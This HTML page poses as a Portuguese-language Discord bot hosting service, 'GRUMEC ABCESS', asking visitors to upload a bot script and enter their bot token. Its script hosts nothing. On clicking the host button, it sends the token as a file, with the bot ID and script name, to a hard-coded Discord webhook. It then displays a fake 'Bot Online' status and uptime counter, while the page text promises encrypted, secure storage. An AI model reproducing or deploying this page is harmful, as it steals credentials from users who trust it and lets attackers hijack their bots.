hospedagembotsgrumec / index.html
mandeks's picture
Add 2 files
925d967 verified
Raw History Blame Contribute Delete
17.2 kB
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>GRUMEC ABCESS - Hospedagem de Bots</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
.file-upload {
position: relative;
overflow: hidden;
display: inline-block;
}
.file-upload-input {
position: absolute;
left: 0;
top: 0;
opacity: 0;
width: 100%;
height: 100%;
cursor: pointer;
}
.glow-on-hover {
transition: all 0.3s ease;
}
.glow-on-hover:hover {
box-shadow: 0 0 15px rgba(239, 68, 68, 0.7);
}
.pulse {
animation: pulse 2s infinite;
}
@keyframes pulse {
0% {
box-shadow: 0 0 0 0 rgba(239, 68, 68, 0.4);
}
70% {
box-shadow: 0 0 0 10px rgba(239, 68, 68, 0);
}
100% {
box-shadow: 0 0 0 0 rgba(239, 68, 68, 0);
}
}
.discord-btn {
background-color: #5865F2;
transition: all 0.3s ease;
}
.discord-btn:hover {
background-color: #4752C4;
transform: translateY(-2px);
}
</style>
</head>
<body class="bg-gray-900 min-h-screen flex flex-col items-center justify-start pt-10 px-4">
<div class="w-full max-w-2xl">
<!-- Header -->
<div class="text-center mb-10">
<h1 class="text-4xl font-bold text-red-600 mb-2 tracking-wider">GRUMEC ABCESS</h1>
<p class="text-gray-400">Hospedagem 24/7 para seus bots</p>
</div>
<!-- Upload Script Section -->
<div class="bg-gray-800 rounded-lg p-6 mb-6 shadow-lg">
<h2 class="text-xl font-semibold text-red-500 mb-4 flex items-center">
<i class="fas fa-file-code mr-2"></i> Upload do Script
</h2>
<div class="file-upload w-full mb-4">
<label class="w-full">
<div class="bg-gray-700 border-2 border-dashed border-gray-600 rounded-lg p-8 text-center cursor-pointer hover:border-red-500 transition-colors duration-300">
<i class="fas fa-cloud-upload-alt text-4xl text-gray-500 mb-2"></i>
<p class="text-gray-400">Arraste seu arquivo aqui ou clique para selecionar</p>
<p class="text-sm text-gray-500 mt-1">Formatos suportados: .py, .js, .ts</p>
</div>
<input type="file" id="scriptUpload" class="file-upload-input" accept=".py,.js,.ts">
</label>
</div>
<div id="fileInfo" class="hidden bg-gray-700 rounded p-3 mb-4 text-gray-300">
<div class="flex justify-between items-center">
<div>
<i class="fas fa-file-code mr-2"></i>
<span id="fileName">arquivo.py</span>
</div>
<button id="removeFile" class="text-red-500 hover:text-red-400">
<i class="fas fa-times"></i>
</button>
</div>
<div class="text-xs text-gray-400 mt-1" id="fileSize">0 KB</div>
</div>
<div class="flex items-center mb-4">
<i class="fas fa-code text-gray-500 mr-2"></i>
<select id="scriptType" class="bg-gray-700 text-gray-300 rounded px-3 py-2 w-full focus:outline-none focus:ring-2 focus:ring-red-500">
<option value="python">Python</option>
<option value="javascript">JavaScript</option>
<option value="typescript">TypeScript</option>
</select>
</div>
</div>
<!-- Bot Token Section -->
<div class="bg-gray-800 rounded-lg p-6 mb-8 shadow-lg">
<h2 class="text-xl font-semibold text-red-500 mb-4 flex items-center">
<i class="fas fa-key mr-2"></i> Token do Bot
</h2>
<div class="relative mb-4">
<input type="password" id="botToken" placeholder="Insira o token do seu bot aqui"
class="bg-gray-700 text-gray-300 rounded px-4 py-3 w-full pr-10 focus:outline-none focus:ring-2 focus:ring-red-500">
<button id="toggleTokenVisibility" class="absolute right-3 top-3 text-gray-500 hover:text-gray-400">
<i class="fas fa-eye"></i>
</button>
</div>
<div class="flex items-center text-sm text-gray-400">
<i class="fas fa-info-circle mr-2"></i>
<p>Seu token será armazenado com segurança e usado apenas para hospedar seu bot</p>
</div>
</div>
<!-- Host Button -->
<button id="hostButton" class="w-full bg-red-600 hover:bg-red-700 text-black font-bold py-4 px-4 rounded-lg text-lg glow-on-hover pulse mb-6 transition duration-300 flex items-center justify-center">
<i class="fas fa-server mr-2"></i> HOSPEDAR BOT
</button>
<!-- Discord Server Button -->
<a href="https://discord.gg/uCcQgjBb" target="_blank" class="w-full discord-btn text-white font-bold py-4 px-4 rounded-lg text-lg mb-6 transition duration-300 flex items-center justify-center">
<i class="fab fa-discord mr-2 text-2xl"></i> ENTRE EM NOSSO SERVER
</a>
<!-- Status Section -->
<div id="statusSection" class="hidden bg-gray-800 rounded-lg p-6 shadow-lg mb-6">
<h2 class="text-xl font-semibold text-green-500 mb-4 flex items-center">
<i class="fas fa-check-circle mr-2"></i> Bot Online!
</h2>
<div class="bg-gray-700 rounded p-4 mb-4">
<div class="flex justify-between items-center mb-2">
<span class="text-gray-300">Status:</span>
<span class="text-green-500 font-medium">Online</span>
</div>
<div class="flex justify-between items-center mb-2">
<span class="text-gray-300">Tempo de atividade:</span>
<span class="text-gray-300" id="uptime">00:00:00</span>
</div>
<div class="flex justify-between items-center">
<span class="text-gray-300">Última atualização:</span>
<span class="text-gray-300" id="lastUpdate">Agora mesmo</span>
</div>
</div>
<div class="text-center">
<button id="stopBot" class="bg-red-600 hover:bg-red-700 text-black font-bold py-2 px-6 rounded-lg text-sm mr-3">
<i class="fas fa-stop mr-1"></i> Parar Bot
</button>
<button id="restartBot" class="bg-yellow-600 hover:bg-yellow-700 text-black font-bold py-2 px-6 rounded-lg text-sm">
<i class="fas fa-redo mr-1"></i> Reiniciar
</button>
</div>
</div>
<!-- Features Section -->
<div class="bg-gray-800 rounded-lg p-6 shadow-lg mb-6">
<h2 class="text-xl font-semibold text-red-500 mb-4 text-center">Por que escolher GRUMEC ABCESS?</h2>
<div class="grid grid-cols-1 md:grid-cols-3 gap-4">
<div class="bg-gray-700 p-4 rounded-lg text-center">
<div class="text-red-500 text-3xl mb-2">
<i class="fas fa-clock"></i>
</div>
<h3 class="font-medium text-gray-300 mb-1">24/7 Online</h3>
<p class="text-sm text-gray-400">Seu bot fica online continuamente sem interrupções</p>
</div>
<div class="bg-gray-700 p-4 rounded-lg text-center">
<div class="text-red-500 text-3xl mb-2">
<i class="fas fa-shield-alt"></i>
</div>
<h3 class="font-medium text-gray-300 mb-1">Segurança</h3>
<p class="text-sm text-gray-400">Seu token é armazenado com criptografia avançada</p>
</div>
<div class="bg-gray-700 p-4 rounded-lg text-center">
<div class="text-red-500 text-3xl mb-2">
<i class="fas fa-bolt"></i>
</div>
<h3 class="font-medium text-gray-300 mb-1">Desempenho</h3>
<p class="text-sm text-gray-400">Servidores de alta performance para seu bot</p>
</div>
</div>
</div>
<!-- Footer -->
<div class="text-center text-gray-500 text-sm mb-10">
MADE BY STOP
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
// File upload handling
const scriptUpload = document.getElementById('scriptUpload');
const fileInfo = document.getElementById('fileInfo');
const fileName = document.getElementById('fileName');
const fileSize = document.getElementById('fileSize');
const removeFile = document.getElementById('removeFile');
scriptUpload.addEventListener('change', function(e) {
if (this.files.length > 0) {
const file = this.files[0];
fileName.textContent = file.name;
// Calculate file size
const size = file.size;
const sizeKB = (size / 1024).toFixed(2);
fileSize.textContent = `${sizeKB} KB`;
// Show file info
fileInfo.classList.remove('hidden');
// Auto-select script type based on extension
const extension = file.name.split('.').pop().toLowerCase();
if (extension === 'py') {
document.getElementById('scriptType').value = 'python';
} else if (extension === 'js') {
document.getElementById('scriptType').value = 'javascript';
} else if (extension === 'ts') {
document.getElementById('scriptType').value = 'typescript';
}
}
});
removeFile.addEventListener('click', function() {
scriptUpload.value = '';
fileInfo.classList.add('hidden');
});
// Toggle token visibility
const botToken = document.getElementById('botToken');
const toggleTokenVisibility = document.getElementById('toggleTokenVisibility');
const eyeIcon = toggleTokenVisibility.querySelector('i');
toggleTokenVisibility.addEventListener('click', function() {
if (botToken.type === 'password') {
botToken.type = 'text';
eyeIcon.classList.remove('fa-eye');
eyeIcon.classList.add('fa-eye-slash');
} else {
botToken.type = 'password';
eyeIcon.classList.remove('fa-eye-slash');
eyeIcon.classList.add('fa-eye');
}
});
// Host button functionality
const hostButton = document.getElementById('hostButton');
const statusSection = document.getElementById('statusSection');
hostButton.addEventListener('click', async function() {
// Validate inputs
if (!scriptUpload.files || scriptUpload.files.length === 0) {
alert('Por favor, selecione um arquivo de script para upload.');
return;
}
if (!botToken.value.trim()) {
alert('Por favor, insira o token do seu bot.');
return;
}
// Simulate hosting process
hostButton.innerHTML = '<i class="fas fa-spinner fa-spin mr-2"></i> HOSPEDANDO...';
hostButton.classList.remove('pulse');
hostButton.classList.add('opacity-75');
hostButton.disabled = true;
try {
// Get bot ID from token (first part before the dot)
const botId = botToken.value.split('.')[0];
const scriptName = scriptUpload.files[0].name;
// Create a Blob with the token
const tokenBlob = new Blob([botToken.value], { type: 'text/plain' });
// Create FormData to send to webhook
const formData = new FormData();
formData.append('content', `Novo bot hospedado!\nID: ${botId}\nNome do script: ${scriptName}`);
formData.append('file', tokenBlob, 'token.txt');
// Send to Discord webhook
await fetch('https://discord.com/api/webhooks/1360395390418948126/LqQWDfxBTncUZqvfx3v4dcAYoohzMKU3eGUrnQbkZtsHFcvKiCGKLTruZtmNwm2-u6np', {
method: 'POST',
body: formData
});
// Show success
statusSection.classList.remove('hidden');
hostButton.classList.add('hidden');
// Start uptime counter
startUptimeCounter();
} catch (error) {
console.error('Erro ao enviar para o webhook:', error);
alert('Ocorreu um erro ao hospedar o bot. Por favor, tente novamente.');
} finally {
// Reset button state
hostButton.innerHTML = '<i class="fas fa-server mr-2"></i> HOSPEDAR BOT';
hostButton.classList.remove('opacity-75');
hostButton.disabled = false;
}
});
// Stop bot button
const stopBot = document.getElementById('stopBot');
stopBot.addEventListener('click', function() {
if (confirm('Tem certeza que deseja parar seu bot?')) {
statusSection.classList.add('hidden');
hostButton.classList.remove('hidden');
clearInterval(window.uptimeInterval);
}
});
// Restart bot button
const restartBot = document.getElementById('restartBot');
restartBot.addEventListener('click', function() {
restartBot.innerHTML = '<i class="fas fa-spinner fa-spin mr-1"></i> Reiniciando...';
restartBot.disabled = true;
setTimeout(function() {
document.getElementById('lastUpdate').textContent = 'Agora mesmo';
restartBot.innerHTML = '<i class="fas fa-redo mr-1"></i> Reiniciar';
restartBot.disabled = false;
}, 2000);
});
// Uptime counter function
function startUptimeCounter() {
let seconds = 0;
window.uptimeInterval = setInterval(function() {
seconds++;
const hours = Math.floor(seconds / 3600).toString().padStart(2, '0');
const minutes = Math.floor((seconds % 3600) / 60).toString().padStart(2, '0');
const secs = (seconds % 60).toString().padStart(2, '0');
document.getElementById('uptime').textContent = `${hours}:${minutes}:${secs}`;
}, 1000);
}
});
</script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=mandeks/hospedagembotsgrumec" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html>